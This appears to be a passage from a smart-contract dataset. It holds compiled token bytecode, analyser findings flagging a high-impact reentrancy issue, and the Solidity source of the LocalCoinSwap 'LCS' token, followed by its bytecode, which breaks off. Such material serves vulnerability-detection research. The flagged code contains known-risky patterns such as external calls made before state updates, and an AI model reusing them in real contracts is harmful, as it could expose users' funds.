50565b6111c06117f5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461124d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112449061320a565b60405180910390fd5b60148054906101000a900460ff161561129b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112929061328a565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061132b30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006117fd565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561137157600080fd5b505afa158015611385573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113a99190612bdd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561140b57600080fd5b505afa15801561141f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114439190612bdd565b6040518363ffffffff1660e01b815260040161146092919061309a565b602060405180830381600087803b15801561147a57600080fd5b505af115801561148e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114b29190612bdd565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061153b30610d85565b600080611546610fe0565b426040518863ffffffff1660e01b8152600401611568969594939291906130ec565b6060604051808303818588803b15801561158157600080fd5b505af1158015611595573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906115ba9190612d89565b5050506001601460166101000a81548160ff0219169083151502179055506001601460176101000a81548160ff02191690831515021790555061162360646116156001683635c9adc5dea00000611fd290919063ffffffff16565b61204d90919063ffffffff16565b601581905550611659606461164b6002683635c9adc5dea00000611fd290919063ffffffff16565b61204d90919063ffffffff16565b60168190555060016014806101000a81548160ff021916908315150217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016117189291906130c3565b602060405180830381600087803b15801561173257600080fd5b505af1158015611746573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061176a9190612d37565b5050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561186d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118649061326a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d4906131aa565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516119bb91906132aa565b60405180910390a3505050565b60008111611a0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a029061322a565b60405180910390fd5b6001601460186101000a81548160ff021916908315150217905550611a2e610fe0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611a9c5750611a6c610fe0565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f5e57601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611b4c5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611ba25750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611bba5750601460179054906101000a900460ff165b15611c2757601554811115611bce57600080fd5b60165481611bdb84610d85565b611be591906133e0565b1115611c26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1d9061324a565b60405180910390fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ccf5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d285750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611df657600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611dd15750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611dda57600080fd5b6000601460186101000a81548160ff0219169083151502179055505b6000611e0130610d85565b9050611e556064611e47601254611e39601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610d85565b611fd290919063ffffffff16565b61204d90919063ffffffff16565b811115611eb157611eae6064611ea0601254611e92601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610d85565b611fd290919063ffffffff16565b61204d90919063ffffffff16565b90505b601460159054906101000a900460ff16158015611f1c5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611f345750601460169054906101000a900460ff165b15611f5c57611f4281612171565b60004790506000811115611f5a57611f5947612097565b5b505b505b611f6983838361246b565b505050565b6000838311158290611fb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fad9190613168565b60405180910390fd5b5060008385611fc591906134c1565b9050809150509392505050565b600080831415611fe55760009050612047565b60008284611ff39190613467565b90508284826120029190613436565b14612042576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612039906131ea565b60405180910390fd5b809150505b92915050565b600061208f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061247b565b905092915050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156120ff573d6000803e3d6000fd5b5050565b600060095482111561214a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121419061318a565b60405180910390fd5b60006121546124de565b9050612169818461204d90919063ffffffff16565b915050919050565b6001601460156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156121cf577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156121fd5781602001602082028036833780820191505090505b509050308160008151811061223b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156122dd57600080fd5b505afa1580156122f1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123159190612bdd565b8160018151811061234f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123b630601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846117fd565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161241a9594939291906132c5565b600060405180830381600087803b15801561243457600080fd5b505af1158015612448573d6000803e3d6000fd5b50505050506000601460156101000a81548160ff02191690831515021790555050565b612476838383612509565b505050565b600080831182906124c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124b99190613168565b60405180910390fd5b50600083856124d19190613436565b9050809150509392505050565b60008060006124eb6126d4565b91509150612502818361204d90919063ffffffff16565b9250505090565b60008060008060008061251b87612736565b95509550955095509550955061257986600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127cb90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061260e85600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461281590919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061265a81612873565b6126648483612930565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126c191906132aa565b60405180910390a3505050505050505050565b600080600060095490506000683635c9adc5dea00000905061270a683635c9adc5dea0000060095461204d90919063ffffffff16565b82101561272957600954683635c9adc5dea00000935093505050612732565b81819350935050505b9091565b600080600080600080600080600061274c61296a565b61276a576127658a600b60020154600b60030154612981565b612780565b61277f8a600b60000154600b60010154612981565b5b92509250925060006127906124de565b905060008060006127a38e878787612a17565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061280d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611f6e565b905092915050565b600080828461282491906133e0565b905083811015612869576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612860906131ca565b60405180910390fd5b8091505092915050565b600061287d6124de565b905060006128948284611fd290919063ffffffff16565b90506128e881600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461281590919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612945826009546127cb90919063ffffffff16565b60098190555061296081600a5461281590919063ffffffff16565b600a819055505050565b6000601460189054906101000a900460ff16905090565b6000806000806129ad606461299f888a611fd290919063ffffffff16565b61204d90919063ffffffff16565b905060006129d760646129c9888b611fd290919063ffffffff16565b61204d90919063ffffffff16565b90506000612a00826129f2858c6127cb90919063ffffffff16565b6127cb90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a308589611fd290919063ffffffff16565b90506000612a478689611fd290919063ffffffff16565b90506000612a5e8789611fd290919063ffffffff16565b90506000612a8782612a7985876127cb90919063ffffffff16565b6127cb90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000612ab3612aae8461335f565b61333a565b90508083825260208201905082856020860282011115612ad257600080fd5b60005b85811015612b025781612ae88882612b0c565b845260208401935060208301925050600181019050612ad5565b5050509392505050565b600081359050612b1b816138d6565b92915050565b600081519050612b30816138d6565b92915050565b600082601f830112612b4757600080fd5b8135612b57848260208601612aa0565b91505092915050565b600081359050612b6f816138ed565b92915050565b600081519050612b84816138ed565b92915050565b600081359050612b9981613904565b92915050565b600081519050612bae81613904565b92915050565b600060208284031215612bc657600080fd5b6000612bd484828501612b0c565b91505092915050565b600060208284031215612bef57600080fd5b6000612bfd84828501612b21565b91505092915050565b60008060408385031215612c1957600080fd5b6000612c2785828601612b0c565b9250506020612c3885828601612b0c565b9150509250929050565b600080600060608486031215612c5757600080fd5b6000612c6586828701612b0c565b9350506020612c7686828701612b0c565b9250506040612c8786828701612b8a565b9150509250925092565b60008060408385031215612ca457600080fd5b6000612cb285828601612b0c565b9250506020612cc385828601612b8a565b9150509250929050565b600060208284031215612cdf57600080fd5b600082013567ffffffffffffffff811115612cf957600080fd5b612d0584828501612b36565b91505092915050565b600060208284031215612d2057600080fd5b6000612d2e84828501612b60565b91505092915050565b600060208284031215612d4957600080fd5b6000612d5784828501612b75565b91505092915050565b600060208284031215612d7257600080fd5b6000612d8084828501612b8a565b91505092915050565b600080600060608486031215612d9e57600080fd5b6000612dac86828701612b9f565b9350506020612dbd86828701612b9f565b9250506040612dce86828701612b9f565b9150509250925092565b60008060008060808587031215612dee57600080fd5b6000612dfc87828801612b8a565b9450506020612e0d87828801612b8a565b9350506040612e1e87828801612b8a565b9250506060612e2f87828801612b8a565b91505092959194509250565b6000612e478383612e53565b60208301905092915050565b612e5c816134f5565b82525050565b612e6b816134f5565b82525050565b6000612e7c8261339b565b612e8681856133be565b9350612e918361338b565b8060005b83811015612ec2578151612ea98882612e3b565b9750612eb4836133b1565b925050600181019050612e95565b5085935050505092915050565b612ed881613507565b82525050565b612ee78161354a565b82525050565b6000612ef8826133a6565b612f0281856133cf565b9350612f1281856020860161355c565b612f1b81613696565b840191505092915050565b6000612f33602a836133cf565b9150612f3e826136a7565b604082019050919050565b6000612f566022836133cf565b9150612f61826136f6565b604082019050919050565b6000612f79601b836133cf565b9150612f8482613745565b602082019050919050565b6000612f9c6021836133cf565b9150612fa78261376e565b604082019050919050565b6000612fbf6020836133cf565b9150612fca826137bd565b602082019050919050565b6000612fe26029836133cf565b9150612fed826137e6565b604082019050919050565b6000613005601a836133cf565b915061301082613835565b602082019050919050565b60006130286024836133cf565b91506130338261385e565b604082019050919050565b600061304b6017836133cf565b9150613056826138ad565b602082019050919050565b61306a81613533565b82525050565b6130798161353d565b82525050565b60006020820190506130946000830184612e62565b92915050565b60006040820190506130af6000830185612e62565b6130bc6020830184612e62565b9392505050565b60006040820190506130d86000830185612e62565b6130e56020830184613061565b9392505050565b600060c0820190506131016000830189612e62565b61310e6020830188613061565b61311b6040830187612ede565b6131286060830186612ede565b6131356080830185612e62565b61314260a0830184613061565b979650505050505050565b60006020820190506131626000830184612ecf565b92915050565b600060208201905081810360008301526131828184612eed565b905092915050565b600060208201905081810360008301526131a381612f26565b9050919050565b600060208201905081810360008301526131c381612f49565b9050919050565b600060208201905081810360008301526131e381612f6c565b9050919050565b6000602082019050818103600083015261320381612f8f565b9050919050565b6000602082019050818103600083015261322381612fb2565b9050919050565b6000602082019050818103600083015261324381612fd5565b9050919050565b6000602082019050818103600083015261326381612ff8565b9050919050565b600060208201905081810360008301526132838161301b565b9050919050565b600060208201905081810360008301526132a38161303e565b9050919050565b60006020820190506132bf6000830184613061565b92915050565b600060a0820190506132da6000830188613061565b6132e76020830187612ede565b81810360408301526132f98186612e71565b90506133086060830185612e62565b6133156080830184613061565b9695505050505050565b60006020820190506133346000830184613070565b92915050565b6000613344613355565b9050613350828261358f565b919050565b6000604051905090565b600067ffffffffffffffff82111561337a57613379613667565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006133eb82613533565b91506133f683613533565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561342b5761342a613609565b5b828201905092915050565b600061344182613533565b915061344c83613533565b92508261345c5761345b613638565b5b828204905092915050565b600061347282613533565b915061347d83613533565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156134b6576134b5613609565b5b828202905092915050565b60006134cc82613533565b91506134d783613533565b9250828210156134ea576134e9613609565b5b828203905092915050565b600061350082613513565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061355582613533565b9050919050565b60005b8381101561357a57808201518184015260208101905061355f565b83811115613589576000848401525b50505050565b61359882613696565b810181811067ffffffffffffffff821117156135b7576135b6613667565b5b80604052505050565b60006135cb82613533565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156135fe576135fd613609565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6138df816134f5565b81146138ea57600080fd5b50565b6138f681613507565b811461390157600080fd5b50565b61390d81613533565b811461391857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204da6454077c28c0862608542b8680c05c81fb267efa0da60fae2fcc0692952b564736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 9,126 |
0xaa19961b6b858d9f18a115f25aa1d98abc1fdba8
|
/*
* LocalCoinSwap Cryptoshare Source Code
* www.localcoinswap.com
*/
pragma solidity ^0.4.19;
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract DerivativeTokenInterface {
function mint(address _to, uint256 _amount) public returns (bool);
}
contract LCS is StandardToken, BurnableToken, Ownable {
string public constant name = "LocalCoinSwap Cryptoshare";
string public constant symbol = "LCS";
uint256 public constant decimals = 18;
uint256 public constant initialSupply = 100000000 * (10 ** 18);
// Array of derivative token addresses
DerivativeTokenInterface[] public derivativeTokens;
bool public nextDerivativeTokenScheduled = false;
// Time until next token distribution
uint256 public nextDerivativeTokenTime;
// Next token to be distrubuted
DerivativeTokenInterface public nextDerivativeToken;
// Index of last token claimed by LCS holder, required for holder to claim unclaimed tokens
mapping (address => uint256) lastDerivativeTokens;
function LCS() public {
totalSupply_ = initialSupply;
balances[msg.sender] = totalSupply_;
Transfer(0, msg.sender, totalSupply_);
}
// Event for token distribution
event DistributeDerivativeTokens(address indexed to, uint256 number, uint256 amount);
// Modifier to handle token distribution
modifier handleDerivativeTokens(address from) {
if (nextDerivativeTokenScheduled && now > nextDerivativeTokenTime) {
derivativeTokens.push(nextDerivativeToken);
nextDerivativeTokenScheduled = false;
delete nextDerivativeTokenTime;
delete nextDerivativeToken;
}
for (uint256 i = lastDerivativeTokens[from]; i < derivativeTokens.length; i++) {
// Since tokens haven't redeemed yet, mint new ones and send them to LCS holder
derivativeTokens[i].mint(from, balances[from]);
DistributeDerivativeTokens(from, i, balances[from]);
}
lastDerivativeTokens[from] = derivativeTokens.length;
_;
}
// Claim unclaimed derivative tokens
function claimDerivativeTokens() public handleDerivativeTokens(msg.sender) returns (bool) {
return true;
}
// Set the address and release time of the next token distribution
function scheduleNewDerivativeToken(address _address, uint256 _time) public onlyOwner returns (bool) {
require(!nextDerivativeTokenScheduled);
nextDerivativeTokenScheduled = true;
nextDerivativeTokenTime = _time;
nextDerivativeToken = DerivativeTokenInterface(_address);
return true;
}
// Make sure derivative tokens are handled for the _from and _to addresses
function transferFrom(address _from, address _to, uint256 _value) public handleDerivativeTokens(_from) handleDerivativeTokens(_to) returns (bool) {
return super.transferFrom(_from, _to, _value);
}
// Make sure derivative tokens are handled for the msg.sender and _to addresses
function transfer(address _to, uint256 _value) public handleDerivativeTokens(msg.sender) handleDerivativeTokens(_to) returns (bool) {
return super.transfer(_to, _value);
}
}
|
0x60606040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610122578063095ea7b3146101b057806318160ddd1461020a5780631b841fea1461023357806323b872dd1461025c578063241d1108146102d5578063313ce5671461032a578063378dc3dc1461035357806342966c681461037c57806359793b3a1461039f5780635d7a6b1014610402578063661884631461042f5780637097048a1461048957806370a08231146104b657806374bde311146105035780638da5cb5b1461055d57806395d89b41146105b2578063a9059cbb14610640578063d73dd6231461069a578063dd62ed3e146106f4578063f2fde38b14610760575b600080fd5b341561012d57600080fd5b610135610799565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017557808201518184015260208101905061015a565b50505050905090810190601f1680156101a25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101bb57600080fd5b6101f0600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506107d2565b604051808215151515815260200191505060405180910390f35b341561021557600080fd5b61021d6108c4565b6040518082815260200191505060405180910390f35b341561023e57600080fd5b6102466108ce565b6040518082815260200191505060405180910390f35b341561026757600080fd5b6102bb600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108d4565b604051808215151515815260200191505060405180910390f35b34156102e057600080fd5b6102e8610fc2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561033557600080fd5b61033d610fe8565b6040518082815260200191505060405180910390f35b341561035e57600080fd5b610366610fed565b6040518082815260200191505060405180910390f35b341561038757600080fd5b61039d6004808035906020019091905050610ffc565b005b34156103aa57600080fd5b6103c0600480803590602001909190505061114e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561040d57600080fd5b61041561118d565b604051808215151515815260200191505060405180910390f35b341561043a57600080fd5b61046f600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506111a0565b604051808215151515815260200191505060405180910390f35b341561049457600080fd5b61049c611431565b604051808215151515815260200191505060405180910390f35b34156104c157600080fd5b6104ed600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506117a6565b6040518082815260200191505060405180910390f35b341561050e57600080fd5b610543600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506117ee565b604051808215151515815260200191505060405180910390f35b341561056857600080fd5b6105706118d5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156105bd57600080fd5b6105c56118fb565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106055780820151818401526020810190506105ea565b50505050905090810190601f1680156106325780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561064b57600080fd5b610680600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611934565b604051808215151515815260200191505060405180910390f35b34156106a557600080fd5b6106da600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050612020565b604051808215151515815260200191505060405180910390f35b34156106ff57600080fd5b61074a600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061221c565b6040518082815260200191505060405180910390f35b341561076b57600080fd5b610797600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506122a3565b005b6040805190810160405280601981526020017f4c6f63616c436f696e537761702043727970746f73686172650000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573fffffffffffffffffffffffff